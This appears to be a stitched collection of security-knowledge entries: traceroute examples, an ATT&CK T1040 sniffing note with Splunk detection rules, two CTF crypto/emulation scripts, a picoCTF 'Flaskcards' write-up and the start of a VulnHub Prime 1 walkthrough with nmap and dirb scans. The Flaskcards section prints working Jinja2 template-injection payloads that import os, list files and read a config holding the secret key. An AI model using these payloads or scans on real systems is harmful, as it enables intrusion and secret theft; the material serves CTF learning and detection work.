0.514 ms 0.507 ms 3 211.151.227.206 (211.151.227.206) 0.571 ms 0.558 ms 0.550 ms 4 210.77.139.145 (210.77.139.145) 0.708 ms 0.729 ms 0.785 ms 5 202.106.42.101 (202.106.42.101) 7.978 ms 8.155 ms 8.311 ms 6 bt-228-037.bta.net.cn (202.106.228.37) 772.460 ms bt-228-025.bta.net.cn (202.106.228.25) 2.152 ms 61.148.154.97 (61.148.154.97) 772.107 ms 7 124.65.58.221 (124.65.58.221) 4.875 ms 61.148.146.29 (61.148.146.29) 2.124 ms 124.65.58.221 (124.65.58.221) 4.854 ms 8 123.126.6.198 (123.126.6.198) 2.944 ms 61.148.156.6 (61.148.156.6) 3.505 ms 123.126.6.198 (123.126.6.198) 2.885 ms 9 * * * 10 * * * ``` 其它一些实例 ```shell traceroute -m 10 www.baidu.com # 跳数设置 traceroute -n www.baidu.com # 显示IP地址,不查主机名 traceroute -p 6888 www.baidu.com # 探测包使用的基本UDP端口设置6888 traceroute -q 4 www.baidu.com # 把探测包的个数设置为值4 traceroute -r www.baidu.com # 绕过正常的路由表,直接发送到网络相连的主机 traceroute -w 3 www.baidu.com # 把对外发探测包的等待响应时间设置为3秒 ```
sec-knowleage
# T1040-linux-网络嗅探 ## 来自ATT&CK的描述 网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数据。 通过该技术可以捕获的数据包括用户凭证,尤其是通过不安全的未加密协议发送的凭证;网络嗅探还可以获取到配置细节,例如运行服务,版本号以及后续横向移动和防御逃避活动所需的其他网络特征(例如:IP寻址,主机名,VLAN ID)。 ## 测试案例 tcpdump -c 5 -nnni #{网卡接口} tshark -c 5 -i #{网卡接口} ## 检测日志 linux /var/log/message (值得注意的是:Ubuntu下默认不开启message日志,需要手动开启) ## 测试复现 ### 场景一 ```bash root@icbc:~# tcpdump -c 5 -nnni ens33 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 10:37:34.347544 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:37.355725 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:40.356238 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:43.356969 IP 192.168.66.1.60886 > 239.255.255.250.1900: UDP, length 137 10:37:49.808569 IP 192.168.66.148.59150 > 192.168.66.2.53: 15476+ [1au] A? connectivity-check.ubuntu.com. (58) 5 packets captured 5 packets received by filter 0 packets dropped by kernel ``` ### 场景二 ```bash root@icbc:~# tshark -c 5 -i ens33 Running as user "root" and group "root". This could be dangerous. Capturing on 'ens33' 1 0.000000000 192.168.66.148 → 192.168.66.2 DNS 100 Standard query 0xe349 A connectivity-check.ubuntu.com OPT 2 0.038532840 Vmware_e8:11:b3 → Broadcast ARP 60 Who has 192.168.66.148? Tell 192.168.66.2 3 0.038552195 Vmware_02:d5:c7 → Vmware_e8:11:b3 ARP 42 192.168.66.148 is at 00:0c:29:02:d5:c7 4 0.038758293 192.168.66.2 → 192.168.66.148 DNS 132 Standard query response 0xe349 A connectivity-check.ubuntu.com A 35.224.99.156 A 35.222.85.5 OPT 5 0.039670671 192.168.66.148 → 35.222.85.5 TCP 74 57812 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=136575048 TSecr=0 WS=128 5 packets captured ``` ## 测试留痕 ### 0x1 message日志 Jul 19 10:37:33 icbc kernel: [ 298.396406] device ens33 entered promiscuous mode ### 0x2 message日志 Jul 19 10:47:42 icbc systemd[1]: Started Cleanup of Temporary Directories. Jul 19 10:47:50 icbc kernel: [ 915.199848] device ens33 left promiscuous mode Jul 19 10:47:50 icbc start.sh[734]: 2019-07-19 10:47:50,165: DEBUG helpers.application.health RAM: 65MB ## 检测规则/思路 ### splunk检测规则 index=linux sourcetype=syslog entered promiscuous mode | table host,message index=linux sourcetype=syslog left promiscuous mode | table host,message ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1040: <https://attack.mitre.org/techniques/T1040/>
sec-knowleage
from sage.all import GF, PolynomialRing P=PolynomialRing(GF(2),'x') e = 31337 n = P('x^2048 + x^2046 + x^2043 + x^2040 + x^2036 + x^2035 + x^2034 + x^2033 + x^2031 + x^2029 + x^2025 + x^2024 + x^2022 + x^2019 + x^2018 + x^2017 + x^2012 + x^2007 + x^2006 + x^2004 + x^2000 + x^1999 + x^1998 + x^1997 + x^1993 + x^1992 + x^1991 + x^1986 + x^1982 + x^1981 + x^1979 + x^1978 + x^1977 + x^1975 + x^1970 + x^1964 + x^1963 + x^1962 + x^1961 + x^1960 + x^1959 + x^1958 + x^1955 + x^1954 + x^1952 + x^1951 + x^1949 + x^1947 + x^1942 + x^1939 + x^1938 + x^1936 + x^1934 + x^1933 + x^1932 + x^1930 + x^1928 + x^1927 + x^1923 + x^1922 + x^1919 + x^1918 + x^1915 + x^1914 + x^1913 + x^1912 + x^1911 + x^1910 + x^1908 + x^1903 + x^1902 + x^1900 + x^1899 + x^1897 + x^1893 + x^1891 + x^1890 + x^1886 + x^1881 + x^1880 + x^1879 + x^1878 + x^1875 + x^1874 + x^1873 + x^1872 + x^1871 + x^1870 + x^1869 + x^1865 + x^1863 + x^1862 + x^1860 + x^1856 + x^1855 + x^1853 + x^1852 + x^1845 + x^1841 + x^1839 + x^1837 + x^1836 + x^1835 + x^1833 + x^1832 + x^1829 + x^1828 + x^1827 + x^1826 + x^1824 + x^1823 + x^1822 + x^1821 + x^1820 + x^1819 + x^1818 + x^1817 + x^1813 + x^1812 + x^1810 + x^1809 + x^1808 + x^1807 + x^1803 + x^1799 + x^1797 + x^1796 + x^1794 + x^1792 + x^1790 + x^1786 + x^1783 + x^1782 + x^1779 + x^1778 + x^1776 + x^1775 + x^1774 + x^1772 + x^1767 + x^1766 + x^1765 + x^1764 + x^1763 + x^1762 + x^1759 + x^1757 + x^1756 + x^1754 + x^1753 + x^1752 + x^1750 + x^1749 + x^1741 + x^1734 + x^1730 + x^1729 + x^1726 + x^1725 + x^1723 + x^1722 + x^1721 + x^1716 + x^1714 + x^1713 + x^1712 + x^1710 + x^1709 + x^1706 + x^1705 + x^1703 + x^1702 + x^1700 + x^1698 + x^1693 + x^1692 + x^1691 + x^1690 + x^1683 + x^1682 + x^1681 + x^1680 + x^1679 + x^1677 + x^1672 + x^1670 + x^1669 + x^1666 + x^1663 + x^1662 + x^1661 + x^1659 + x^1655 + x^1653 + x^1651 + x^1649 + x^1648 + x^1647 + x^1646 + x^1644 + x^1643 + x^1642 + x^1640 + x^1639 + x^1638 + x^1634 + x^1633 + x^1628 + x^1620 + x^1619 + x^1618 + x^1616 + x^1614 + x^1611 + x^1610 + x^1608 + x^1605 + x^1604 + x^1603 + x^1599 + x^1597 + x^1595 + x^1594 + x^1590 + x^1588 + x^1587 + x^1585 + x^1583 + x^1580 + x^1579 + x^1577 + x^1574 + x^1573 + x^1572 + x^1568 + x^1566 + x^1565 + x^1563 + x^1562 + x^1560 + x^1555 + x^1554 + x^1552 + x^1550 + x^1549 + x^1548 + x^1545 + x^1544 + x^1542 + x^1540 + x^1538 + x^1537 + x^1536 + x^1535 + x^1534 + x^1533 + x^1532 + x^1531 + x^1528 + x^1526 + x^1525 + x^1523 + x^1522 + x^1521 + x^1519 + x^1517 + x^1515 + x^1510 + x^1509 + x^1506 + x^1504 + x^1502 + x^1499 + x^1498 + x^1497 + x^1488 + x^1483 + x^1480 + x^1477 + x^1472 + x^1471 + x^1469 + x^1468 + x^1467 + x^1466 + x^1464 + x^1462 + x^1457 + x^1456 + x^1455 + x^1454 + x^1453 + x^1452 + x^1448 + x^1446 + x^1444 + x^1443 + x^1442 + x^1441 + x^1440 + x^1436 + x^1435 + x^1431 + x^1428 + x^1425 + x^1424 + x^1422 + x^1420 + x^1415 + x^1414 + x^1411 + x^1410 + x^1408 + x^1406 + x^1405 + x^1403 + x^1402 + x^1399 + x^1397 + x^1396 + x^1395 + x^1394 + x^1393 + x^1391 + x^1388 + x^1385 + x^1377 + x^1376 + x^1372 + x^1371 + x^1370 + x^1369 + x^1367 + x^1363 + x^1361 + x^1357 + x^1355 + x^1354 + x^1349 + x^1343 + x^1339 + x^1338 + x^1337 + x^1336 + x^1335 + x^1332 + x^1329 + x^1327 + x^1326 + x^1324 + x^1321 + x^1315 + x^1314 + x^1312 + x^1310 + x^1309 + x^1305 + x^1304 + x^1303 + x^1302 + x^1299 + x^1298 + x^1296 + x^1295 + x^1293 + x^1291 + x^1290 + x^1289 + x^1284 + x^1283 + x^1282 + x^1281 + x^1280 + x^1278 + x^1277 + x^1276 + x^1275 + x^1272 + x^1270 + x^1269 + x^1268 + x^1267 + x^1259 + x^1257 + x^1254 + x^1252 + x^1251 + x^1249 + x^1247 + x^1246 + x^1244 + x^1240 + x^1238 + x^1233 + x^1232 + x^1229 + x^1222 + x^1219 + x^1217 + x^1211 + x^1209 + x^1208 + x^1205 + x^1204 + x^1203 + x^1202 + x^1200 + x^1197 + x^1196 + x^1195 + x^1193 + x^1192 + x^1189 + x^1187 + x^1186 + x^1185 + x^1184 + x^1183 + x^1182 + x^1181 + x^1177 + x^1176 + x^1173 + x^1170 + x^1167 + x^1166 + x^1162 + x^1161 + x^1160 + x^1159 + x^1158 + x^1156 + x^1155 + x^1154 + x^1153 + x^1151 + x^1146 + x^1143 + x^1141 + x^1139 + x^1138 + x^1137 + x^1135 + x^1131 + x^1129 + x^1128 + x^1125 + x^1124 + x^1122 + x^1116 + x^1115 + x^1114 + x^1112 + x^1111 + x^1107 + x^1106 + x^1105 + x^1104 + x^1103 + x^1102 + x^1098 + x^1097 + x^1095 + x^1094 + x^1092 + x^1088 + x^1087 + x^1085 + x^1077 + x^1076 + x^1075 + x^1072 + x^1069 + x^1068 + x^1061 + x^1060 + x^1059 + x^1057 + x^1055 + x^1054 + x^1053 + x^1050 + x^1047 + x^1046 + x^1044 + x^1043 + x^1042 + x^1036 + x^1029 + x^1025 + x^1024 + x^1023 + x^1022 + x^1019 + x^1016 + x^1013 + x^1012 + x^1010 + x^1008 + x^1007 + x^1006 + x^1004 + x^1000 + x^996 + x^995 + x^993 + x^992 + x^989 + x^985 + x^983 + x^978 + x^977 + x^975 + x^972 + x^971 + x^970 + x^969 + x^967 + x^963 + x^957 + x^956 + x^952 + x^950 + x^948 + x^945 + x^942 + x^941 + x^940 + x^938 + x^937 + x^936 + x^935 + x^932 + x^931 + x^930 + x^928 + x^927 + x^926 + x^923 + x^921 + x^918 + x^916 + x^914 + x^913 + x^909 + x^906 + x^905 + x^904 + x^902 + x^897 + x^895 + x^892 + x^889 + x^888 + x^887 + x^886 + x^885 + x^884 + x^882 + x^881 + x^879 + x^876 + x^870 + x^868 + x^867 + x^865 + x^862 + x^861 + x^859 + x^858 + x^856 + x^854 + x^848 + x^847 + x^846 + x^843 + x^839 + x^837 + x^836 + x^832 + x^831 + x^830 + x^829 + x^826 + x^823 + x^821 + x^820 + x^817 + x^815 + x^812 + x^809 + x^808 + x^805 + x^803 + x^802 + x^800 + x^799 + x^797 + x^795 + x^793 + x^792 + x^788 + x^786 + x^784 + x^780 + x^775 + x^774 + x^770 + x^768 + x^766 + x^764 + x^761 + x^760 + x^753 + x^752 + x^751 + x^750 + x^747 + x^744 + x^742 + x^741 + x^737 + x^734 + x^732 + x^728 + x^727 + x^724 + x^722 + x^721 + x^719 + x^717 + x^715 + x^714 + x^713 + x^710 + x^709 + x^705 + x^703 + x^701 + x^698 + x^697 + x^695 + x^690 + x^687 + x^685 + x^684 + x^682 + x^681 + x^680 + x^677 + x^676 + x^674 + x^673 + x^672 + x^671 + x^670 + x^669 + x^665 + x^663 + x^659 + x^652 + x^651 + x^650 + x^649 + x^648 + x^647 + x^646 + x^645 + x^642 + x^640 + x^638 + x^632 + x^631 + x^630 + x^629 + x^627 + x^626 + x^623 + x^622 + x^621 + x^620 + x^616 + x^615 + x^610 + x^605 + x^602 + x^601 + x^600 + x^599 + x^598 + x^596 + x^594 + x^593 + x^591 + x^583 + x^581 + x^579 + x^578 + x^577 + x^576 + x^575 + x^573 + x^572 + x^571 + x^570 + x^569 + x^565 + x^563 + x^562 + x^561 + x^559 + x^557 + x^555 + x^552 + x^551 + x^546 + x^544 + x^542 + x^541 + x^540 + x^539 + x^538 + x^537 + x^535 + x^533 + x^530 + x^527 + x^523 + x^522 + x^520 + x^519 + x^515 + x^513 + x^511 + x^509 + x^507 + x^505 + x^504 + x^503 + x^499 + x^497 + x^496 + x^495 + x^493 + x^492 + x^488 + x^486 + x^481 + x^480 + x^479 + x^478 + x^477 + x^472 + x^470 + x^468 + x^467 + x^464 + x^463 + x^460 + x^459 + x^455 + x^454 + x^453 + x^446 + x^445 + x^444 + x^443 + x^440 + x^438 + x^437 + x^432 + x^431 + x^428 + x^427 + x^426 + x^420 + x^419 + x^416 + x^415 + x^414 + x^413 + x^412 + x^411 + x^405 + x^404 + x^401 + x^396 + x^393 + x^392 + x^391 + x^388 + x^387 + x^383 + x^381 + x^380 + x^377 + x^376 + x^369 + x^364 + x^362 + x^358 + x^357 + x^356 + x^355 + x^353 + x^351 + x^349 + x^340 + x^339 + x^338 + x^337 + x^336 + x^335 + x^334 + x^332 + x^330 + x^328 + x^327 + x^326 + x^324 + x^320 + x^318 + x^316 + x^315 + x^309 + x^302 + x^298 + x^292 + x^291 + x^290 + x^289 + x^287 + x^286 + x^285 + x^284 + x^281 + x^279 + x^278 + x^276 + x^274 + x^273 + x^272 + x^271 + x^267 + x^266 + x^264 + x^263 + x^262 + x^260 + x^259 + x^256 + x^254 + x^253 + x^252 + x^251 + x^249 + x^248 + x^247 + x^245 + x^244 + x^241 + x^239 + x^235 + x^234 + x^233 + x^232 + x^231 + x^230 + x^226 + x^224 + x^221 + x^219 + x^218 + x^216 + x^215 + x^214 + x^209 + x^207 + x^206 + x^202 + x^201 + x^198 + x^197 + x^194 + x^193 + x^192 + x^191 + x^189 + x^188 + x^183 + x^182 + x^181 + x^180 + x^179 + x^178 + x^177 + x^175 + x^172 + x^169 + x^168 + x^166 + x^165 + x^164 + x^163 + x^158 + x^157 + x^153 + x^152 + x^149 + x^147 + x^146 + x^144 + x^140 + x^139 + x^136 + x^128 + x^127 + x^126 + x^124 + x^123 + x^122 + x^121 + x^116 + x^115 + x^113 + x^112 + x^109 + x^108 + x^107 + x^106 + x^104 + x^103 + x^102 + x^101 + x^100 + x^99 + x^97 + x^95 + x^94 + x^93 + x^92 + x^87 + x^84 + x^83 + x^82 + x^80 + x^79 + x^78 + x^76 + x^73 + x^70 + x^69 + x^68 + x^67 + x^66 + x^65 + x^63 + x^60 + x^59 + x^57 + x^55 + x^52 + x^51 + x^47 + x^46 + x^45 + x^43 + x^42 + x^40 + x^36 + x^35 + x^30 + x^29 + x^28 + x^27 + x^23 + x^20 + x^17 + x^14 + x^9 + x^7 + x^3 + 1')
sec-knowleage
code = '''addi sp, sp, -64 sw ra, 4(sp) sw s0, 0(sp) addi s0, sp, 8 addi sp, sp, -32 sw s1, 28(sp) sw s2, 24(sp) sw s3, 20(sp) sw s4, 16(sp) lui s1, 0x7 addi s1, s1, -1534 sw s1, 0(s0) lui s1, 0xc addi s1, s1, -133 sw s1, 4(s0) lui s1, 0x1 addi s1, s1, 1086 sw s1, 8(s0) lui s1, 0x6 addi s1, s1, 1627 sw s1, 12(s0) lui s1, 0xf addi s1, s1, -1242 sw s1, 16(s0) lui s1, 0x3 addi s1, s1, -770 sw s1, 20(s0) lui s1, 0xe addi s1, s1, -719 sw s1, 24(s0) lui s1, 0x4 addi s1, s1, -508 sw s1, 28(s0) lui s1, 0x8 addi s1, s1, 574 sw s1, 32(s0) lui s1, 0x7 addi s1, s1, 629 sw s1, 36(s0) lui s1, 0x5 addi s1, s1, -1394 sw s1, 40(s0) lw a7, 0(s0) lw s3, 4(s0) lw s2, 8(s0) lw a6, 12(s0) lw a5, 16(s0) lw a4, 20(s0) lw a3, 24(s0) lw a2, 28(s0) lw a1, 32(s0) lw a0, 36(s0) lw s1, 40(s0) lui s4, 0x9 addi s4, s4, 889 mul a7, s4, a7 or a7, a7, s3 and a7, a7, s2 xor a6, a7, a6 or a5, a6, a5 or a4, a5, a4 xor a3, a4, a3 or a2, a3, a2 mul a1, a2, a1 add a0, a1, a0 and a0, a0, s1 j 0x108 lw s1, 28(sp) lw s2, 24(sp) lw s3, 20(sp) lw s4, 16(sp) addi sp, sp, 32 lw ra, 4(sp) lw s0, 0(sp) addi sp, sp, 64 ret ''' def risc_execute(code): code = code.split('\n') regs = { 'sp': 0, 'ra': None, 's0': None, 's1': None, 's2': None, 's3': None, 's4': None, 's5': None, 's6': None, 's7': None, 's8': None, 's9': None, 's10': None, 'a0': None, 'a1': None, 'a2': None, 'a3': None, 'a4': None, 'a5': None, 'a6': None, 'r3': None, } mem = {} for insn in code: insn = insn.replace(',', ' ').split() if not insn: continue op = insn[0] args = insn[1:] # print op, args if op == 'j': continue # yolo elif op == 'lui': if '0x' in args[1]: regs[args[0]] = int(args[1], 16) * 2 ** 12 else: regs[args[0]] = int(args[1]) * 2 ** 12 elif op == 'li': regs[args[0]] = int(args[1], 16) elif op == 'addi': regs[args[0]] = regs[args[1]] + int(args[2]) elif op == 'add': regs[args[0]] = (regs[args[2]] + regs[args[1]]) % 2 ** 32 elif op == 'sub': regs[args[0]] = (regs[args[1]] - regs[args[2]]) % 2 ** 32 elif op == 'ori': regs[args[0]] = regs[args[1]] | int(args[2]) elif op == 'or': regs[args[0]] = (regs[args[2]] | regs[args[1]]) % 2 ** 32 elif op == 'xori': regs[args[0]] = regs[args[1]] ^ int(args[2]) elif op == 'and': regs[args[0]] = regs[args[1]] & regs[args[2]] elif op == 'or': regs[args[0]] = regs[args[1]] | regs[args[2]] elif op == 'xor': regs[args[0]] = regs[args[1]] ^ regs[args[2]] elif op == 'mr': regs[args[0]] = regs[args[1]] elif op == 'sw': mem[args[1]] = regs[args[0]] elif op == 'lw': regs[args[0]] = mem[args[1]] elif op == 'mul': regs[args[0]] = (regs[args[2]] * regs[args[1]]) % 2 ** 32 elif op == 'rlwinm': continue elif op == 'subfic': continue elif op == 'stwu': continue elif op == 'xoris': continue elif op == 'blr': continue elif op == 'ret': continue else: print op print regs return regs['a0'] if __name__ == '__main__': print hex(risc_execute(code))
sec-knowleage
# Flaskcards Web Exploitation, 350 points ## Description: > We found this fishy **website** for flashcards that we think may be sending secrets. Could you take a look? ## Solution: The website was a simple "Flashcard" system, allowing the user to create question-answer pairs and then view them: Card creation: ![Flask](images/Flaskcards_1.png) Listing the cards: ![Flask](images/Flaskcards_2.png) Clicking the "Admin" link led to a page stating that "You Are Not An Admin!". The name of the challenge hints that it is related to Flask - a micro web framework written in Python. One of the known attacks related to Flask is called [template injection](https://nvisium.com/blog/2015/12/07/injecting-flask.html): We input python code encapsulated in double curly brackets and it gets executed by the template manager. We start with a small proof of concept: ``` {{''.__class__}} ``` The result is: ``` <class 'str'> ``` From there, we start building our way up: ``` Input: {{''.__class__.mro()}} Output: [<class 'str'>, <class 'object'>] -- Input: {{''.__class__.mro()[1].__subclasses__()}} Output: [<class 'itertools.compress'>, <class 'formatteriterator'>, [...], <class 'wtforms.validators.UUID'>, <class 'str_iterator'>, <class 'apscheduler.triggers.base.BaseTrigger'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'warnings.catch_warnings'>] -- Input: {{''.__class__.mro()[1].__subclasses__()[703]}} Output: <class 'warnings.catch_warnings'> -- Input: {{''.__class__.mro()[1].__subclasses__()[703]()._module.__builtins__}} Output: {'None': None, 'BufferError': <class 'BufferError'>, 'True': True, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'max': <built-in function max>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ImportError': <class 'ImportError'>, 'Warning': <class 'Warning'>, 'FutureWarning': <class 'FutureWarning'>, '__import__': <built-in function __import__>, 'hex': <built-in function hex>, 'NotImplemented': NotImplemented, 'open': <built-in function open>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'compile': <built-in function compile>, 'bytes': <class 'bytes'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'OSError': <class 'OSError'>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'IndentationError': <class 'IndentationError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'delattr': <built-in function delattr>, 'property': <class 'property'>, 'SystemExit': <class 'SystemExit'>, 'ValueError': <class 'ValueError'>, 'ConnectionError': <class 'ConnectionError'>, 'UnicodeError': <class 'UnicodeError'>, 'Ellipsis': Ellipsis, 'setattr': <built-in function setattr>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'sorted': <built-in function sorted>, 'round': <built-in function round>, 'eval': <built-in function eval>, 'UnboundLocalError': <class 'UnboundLocalError'>, '__name__': 'builtins', 'UserWarning': <class 'UserWarning'>, 'vars': <built-in function vars>, 'list': <class 'list'>, 'IOError': <class 'OSError'>, 'map': <class 'map'>, 'complex': <class 'complex'>, 'zip': <class 'zip'>, 'RuntimeError': <class 'RuntimeError'>, 'sum': <built-in function sum>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'hash': <built-in function hash>, '__debug__': True, 'False': False, 'int': <class 'int'>, 'min': <built-in function min>, 'next': <built-in function next>, 'slice': <class 'slice'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), 'ArithmeticError': <class 'ArithmeticError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'IndexError': <class 'IndexError'>, 'bin': <built-in function bin>, 'bytearray': <class 'bytearray'>, 'FileExistsError': <class 'FileExistsError'>, 'staticmethod': <class 'staticmethod'>, 'NameError': <class 'NameError'>, 'BaseException': <class 'BaseException'>, 'frozenset': <class 'frozenset'>, 'divmod': <built-in function divmod>, 'set': <class 'set'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'reversed': <class 'reversed'>, 'enumerate': <class 'enumerate'>, 'EOFError': <class 'EOFError'>, 'SystemError': <class 'SystemError'>, 'any': <built-in function any>, 'exec': <built-in function exec>, 'chr': <built-in function chr>, 'BytesWarning': <class 'BytesWarning'>, '__build_class__': <built-in function __build_class__>, '__package__': '', 'ascii': <built-in function ascii>, 'StopIteration': <class 'StopIteration'>, 'iter': <built-in function iter>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'getattr': <built-in function getattr>, 'ImportWarning': <class 'ImportWarning'>, 'GeneratorExit': <class 'GeneratorExit'>, 'isinstance': <built-in function isinstance>, 'EnvironmentError': <class 'OSError'>, 'license': Type license() to see the full license text, 'BrokenPipeError': <class 'BrokenPipeError'>, 'tuple': <class 'tuple'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'issubclass': <built-in function issubclass>, 'format': <built-in function format>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'float': <class 'float'>, 'NotImplementedError': <class 'NotImplementedError'>, 'ord': <built-in function ord>, 'dict': <class 'dict'>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'NotADirectoryError': <class 'NotADirectoryError'>, 'AttributeError': <class 'AttributeError'>, 'pow': <built-in function pow>, 'TabError': <class 'TabError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'ReferenceError': <class 'ReferenceError'>, 'Exception': <class 'Exception'>, 'RecursionError': <class 'RecursionError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'abs': <built-in function abs>, 'dir': <built-in function dir>, 'bool': <class 'bool'>, 'ChildProcessError': <class 'ChildProcessError'>, 'range': <class 'range'>, 'str': <class 'str'>, 'callable': <built-in function callable>, 'OverflowError': <class 'OverflowError'>, 'oct': <built-in function oct>, 'help': Type help() for interactive help, or help(object) for help about object., 'memoryview': <class 'memoryview'>, 'SyntaxError': <class 'SyntaxError'>, 'super': <class 'super'>, 'object': <class 'object'>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'ResourceWarning': <class 'ResourceWarning'>, 'LookupError': <class 'LookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'filter': <class 'filter'>, 'KeyError': <class 'KeyError'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'AssertionError': <class 'AssertionError'>, 'MemoryError': <class 'MemoryError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'input': <built-in function input>, 'len': <built-in function len>, 'id': <built-in function id>, 'type': <class 'type'>, 'globals': <built-in function globals>, 'classmethod': <class 'classmethod'>, 'all': <built-in function all>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'locals': <built-in function locals>, 'repr': <built-in function repr>, 'hasattr': <built-in function hasattr>, 'TypeError': <class 'TypeError'>} ``` Now we can call builtins such as `open` and `__import__`: ``` Input: {{''.__class__.mro()[1].__subclasses__()[703]()._module.__builtins__.__import__('os').listdir('.')}} Output: ['app', 'xinet_startup.sh', 'server.py'] Input: {{''.__class__.mro()[1].__subclasses__()[703]()._module.__builtins__.__import__('os').listdir('app')}} Output: ['helpers.py', 'config.py', '__init__.py', 'templates', 'routes.py', 'models.py'] Input: {{''.__class__.mro()[1].__subclasses__()[703]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[703]()._module.__builtins__.__import__('os').path.join('app','config.py')).read()}} Output: import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SECRET_KEY = 'picoCTF{secret_keys_to_the_kingdom_2a7bf92c}' #SQLALCHEMY_DATABASE_URI = os.environ.get('DATABSE_URL') or 'sqlite:///'+os.path.join(basedir,'app.db') SQLALCHEMY_DATABASE_URI = "sqlite://" SQLALCHEMY_TRACK_MODIFICATIONS = False ``` The flag: picoCTF{secret_keys_to_the_kingdom_2a7bf92c}
sec-knowleage
# Prime 1 > https://download.vulnhub.com/prime/Prime_Series_Level-1.rar 靶场IP:`192.168.32.212` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.212 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-07 04:57 EDT Nmap scan report for 192.168.32.212 Host is up (0.00051s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) MAC Address: 00:0C:29:5B:79:B9 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds ``` 访问80端口 ![image-20220907165744607](../../.gitbook/assets/image-20220907165744607.png) 爆破目录 ``` ──(root💀kali)-[/tmp] └─# dirb http://192.168.32.212/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Sep 7 04:58:27 2022 URL_BASE: http://192.168.32.212/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.212/ ---- + http://192.168.32.212/dev (CODE:200|SIZE:131) + http://192.168.32.212/index.php (CODE:200|SIZE:136) ==> DIRECTORY: http://192.168.32.212/javascript/ + http://192.168.32.212/server-status (CODE:403|SIZE:302) ==> DIRECTORY: http://192.168.32.212/wordpress/ ---- Entering directory: http://192.168.32.212/javascript/ ---- ==> DIRECTORY: http://192.168.32.212/javascript/jquery/ ---- Entering directory: http://192.168.32.212/wordpress/ ---- + http://192.168.32.212/wordpress/index.php (CODE:301|SIZE:0) ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-content/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-includes/ + http://192.168.32.212/wordpress/xmlrpc.php (CODE:405|SIZE:42) ---- Entering directory: http://192.168.32.212/javascript/jquery/ ---- + http://192.168.32.212/javascript/jquery/jquery (CODE:200|SIZE:284394) ---- Entering directory: http://192.168.32.212/wordpress/wp-admin/ ---- + http://192.168.32.212/wordpress/wp-admin/admin.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/css/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/images/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/includes/ + http://192.168.32.212/wordpress/wp-admin/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/js/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/maint/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/network/ ==> DIRECTORY: http://192.168.32.212/wordpress/wp-admin/user/ ``` 访问`/dev`目录 ![image-20220907165934683](../../.gitbook/assets/image-20220907165934683.png) 访问`/wordpress`目录 ![image-20220907170026210](../../.gitbook/assets/image-20220907170026210.png) 扫描wordpress没有发现有用的东西 ``` 